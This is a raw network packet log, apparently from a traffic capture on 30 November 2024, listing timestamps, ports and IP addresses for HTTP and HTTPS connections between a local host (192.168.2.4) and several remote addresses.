Nov 30, 2024 09:44:37.628278017 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:37.628288984 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:37.628330946 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:37.629647017 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:37.629657984 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:37.629698038 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:37.631032944 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:37.631042957 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:37.631088018 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:37.632401943 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:37.632412910 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:37.632453918 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:37.633774996 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:37.633785963 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:37.633821964 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:37.635180950 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:37.635193110 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:37.635235071 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:37.636512041 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:37.636523962 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:37.636559963 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:37.638061047 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:37.638073921 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:37.638118029 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:37.639295101 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:37.639307022 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:37.639348030 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:37.640672922 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:37.640686035 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:37.640738010 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:37.642349958 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:37.642362118 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:37.642395973 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:37.645137072 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:37.646600008 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:37.646615028 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:37.646660089 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:37.646660089 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:37.648113012 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:37.648124933 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:37.648165941 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:37.649653912 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:37.649666071 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:37.649709940 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:37.651154041 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:37.651165009 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:37.651206970 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:37.651206970 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:37.651241064 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:37.652668953 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:37.652687073 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:37.652725935 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:37.654202938 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:37.654215097 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:37.654256105 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:37.655765057 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:37.655781031 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:37.655824900 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:37.657279015 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:37.657290936 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:37.657303095 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:37.657330990 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:37.657344103 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:37.658781052 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:37.658792019 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:37.658828974 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:37.660356998 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:37.660368919 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:37.660408020 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:37.661833048 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:37.661880970 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:37.661889076 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:37.661916018 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:37.663373947 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:37.663386106 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:37.663429022 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:37.664865971 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:37.664877892 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:37.664887905 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:37.664920092 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:37.666397095 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:37.666408062 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:37.666445017 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:37.667937040 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:37.667948008 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:37.667989969 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:37.669431925 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:37.669442892 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:37.669480085 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:37.670953989 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:37.671032906 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:37.671076059 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:37.672472954 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:37.672485113 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:37.672492981 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:37.672527075 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:37.781054974 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:37.781121969 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:37.781383038 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:37.781430006 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:37.782274961 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:37.782321930 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:37.782748938 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:37.782788992 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:37.783436060 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:37.783483982 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:37.784260988 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:37.784318924 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:37.784779072 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:37.784816027 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:37.804483891 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:37.804538965 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:37.804831028 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:37.804876089 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:37.805542946 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:37.805591106 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:37.806201935 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:37.806247950 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:37.806876898 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:37.806920052 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:37.807589054 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:37.807652950 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:37.808258057 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:37.808309078 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:37.808996916 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:37.809041977 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:37.809675932 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:37.809688091 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:37.809724092 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:37.811126947 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:37.811172962 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:37.811816931 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:37.811861992 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:37.812607050 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:37.812617064 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:37.812657118 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:37.813837051 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:37.813883066 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:37.814481020 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:37.814526081 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:37.815185070 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:37.815196037 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:37.815237045 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:37.816549063 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:37.816592932 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:37.817224979 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:37.817271948 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:37.817929029 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:37.817939997 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:37.817975998 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:37.819453955 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:37.819504023 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:37.819969893 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:37.819982052 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:37.820015907 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:37.821361065 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:37.821404934 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:37.822016001 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:37.822027922 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:37.822063923 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:37.823394060 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:37.823406935 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:37.823437929 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:37.823457956 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:37.824752092 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:37.824769020 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:37.824795961 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:37.824810028 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:37.826116085 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:37.826128960 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:37.826167107 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:37.827511072 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:37.827522993 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:37.827562094 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:37.828881979 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:37.828893900 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:37.828937054 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:37.830266953 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:37.830284119 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:37.830327034 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:37.830353975 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:37.831614971 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:37.831625938 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:37.831664085 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:37.833009958 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:37.833020926 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:37.833056927 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:37.834355116 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:37.834369898 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:37.834409952 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:37.835731030 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:37.835743904 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:37.835782051 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:37.837239981 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:37.837251902 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:37.837286949 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:37.838475943 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:37.838488102 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:37.838526011 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:37.839899063 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:37.839911938 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:37.839948893 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:37.841330051 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:37.841373920 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:37.841394901 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:37.841434002 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:37.842607021 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:37.842618942 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:37.842648983 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:37.842660904 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:37.843945980 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:37.843957901 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:37.843997955 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:37.845472097 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:37.845487118 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:37.845529079 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:37.846679926 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:37.846692085 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:37.846743107 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:37.848052979 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:37.848068953 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:37.848115921 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:37.848134041 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:37.849436045 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:37.849447012 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:37.849488020 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:37.850811005 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:37.850821972 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:37.850852013 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:37.850871086 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:37.852173090 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:37.852184057 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:37.852211952 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:37.852235079 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:37.853549004 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:37.853588104 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:37.855087996 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:37.855098963 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:37.855132103 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:37.855145931 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:37.856590986 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:37.856601954 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:37.856651068 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:37.858129025 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:37.858140945 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:37.858181953 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:37.859693050 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:37.859704971 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:37.859714031 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:37.859754086 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:37.861193895 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:37.861248016 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:37.862781048 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:37.862792969 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:37.862837076 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:37.864207029 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:37.864222050 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:37.864259958 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:37.864289045 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:37.865714073 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:37.865725994 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:37.865734100 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:37.865767002 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:37.865797043 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:37.867264032 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:37.867275953 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:37.867321968 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:37.868774891 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:37.868786097 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:37.868827105 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:37.870305061 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:37.870362043 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:37.871923923 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:37.871936083 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:37.871980906 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:37.873337984 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:37.873348951 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:37.873358011 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:37.873380899 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:37.873394966 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:37.982203007 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:37.982273102 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:37.982526064 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:37.982573032 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:37.982738972 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:37.982903004 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:37.983560085 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:37.983614922 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:37.984173059 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:37.984222889 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:37.984781027 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:37.984826088 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:37.985511065 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:37.985554934 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:37.986120939 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:37.986165047 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:38.005800962 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:38.005870104 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:38.006125927 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:38.006171942 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:38.006778002 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:38.006824017 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:38.007417917 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:38.007462025 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:38.035832882 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:38.035881996 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:38.175935030 CET	49749	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:38.176196098 CET	49760	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:38.295974016 CET	80	49749	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:38.296025991 CET	80	49760	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:38.296082973 CET	49760	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:38.297076941 CET	49760	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:38.417032003 CET	80	49760	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:40.193559885 CET	80	49760	185.215.113.206	192.168.2.4
Nov 30, 2024 09:44:40.194816113 CET	49760	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:44.949018002 CET	49760	80	192.168.2.4	185.215.113.206
Nov 30, 2024 09:44:44.950404882 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:54.693367004 CET	49761	443	192.168.2.4	13.107.246.63
Nov 30, 2024 09:44:54.693382978 CET	443	49761	13.107.246.63	192.168.2.4
Nov 30, 2024 09:44:54.693479061 CET	49761	443	192.168.2.4	13.107.246.63
Nov 30, 2024 09:44:54.693813086 CET	49761	443	192.168.2.4	13.107.246.63
Nov 30, 2024 09:44:54.693825960 CET	443	49761	13.107.246.63	192.168.2.4
Nov 30, 2024 09:44:56.191267967 CET	49762	443	192.168.2.4	4.245.163.56
Nov 30, 2024 09:44:56.191325903 CET	443	49762	4.245.163.56	192.168.2.4
Nov 30, 2024 09:44:56.191406012 CET	49762	443	192.168.2.4	4.245.163.56
Nov 30, 2024 09:44:56.191814899 CET	49762	443	192.168.2.4	4.245.163.56
Nov 30, 2024 09:44:56.191828966 CET	443	49762	4.245.163.56	192.168.2.4
Nov 30, 2024 09:44:56.479408026 CET	443	49761	13.107.246.63	192.168.2.4
Nov 30, 2024 09:44:56.479484081 CET	49761	443	192.168.2.4	13.107.246.63
Nov 30, 2024 09:44:56.483689070 CET	49761	443	192.168.2.4	13.107.246.63
Nov 30, 2024 09:44:56.483695030 CET	443	49761	13.107.246.63	192.168.2.4
Nov 30, 2024 09:44:56.484076023 CET	443	49761	13.107.246.63	192.168.2.4
Nov 30, 2024 09:44:56.497097015 CET	49761	443	192.168.2.4	13.107.246.63
Nov 30, 2024 09:44:56.539335966 CET	443	49761	13.107.246.63	192.168.2.4
Nov 30, 2024 09:44:56.964385986 CET	443	49761	13.107.246.63	192.168.2.4
Nov 30, 2024 09:44:56.964407921 CET	443	49761	13.107.246.63	192.168.2.4
Nov 30, 2024 09:44:56.964422941 CET	443	49761	13.107.246.63	192.168.2.4
Nov 30, 2024 09:44:56.964610100 CET	49761	443	192.168.2.4	13.107.246.63
Nov 30, 2024 09:44:56.964624882 CET	443	49761	13.107.246.63	192.168.2.4
Nov 30, 2024 09:44:56.964679956 CET	49761	443	192.168.2.4	13.107.246.63
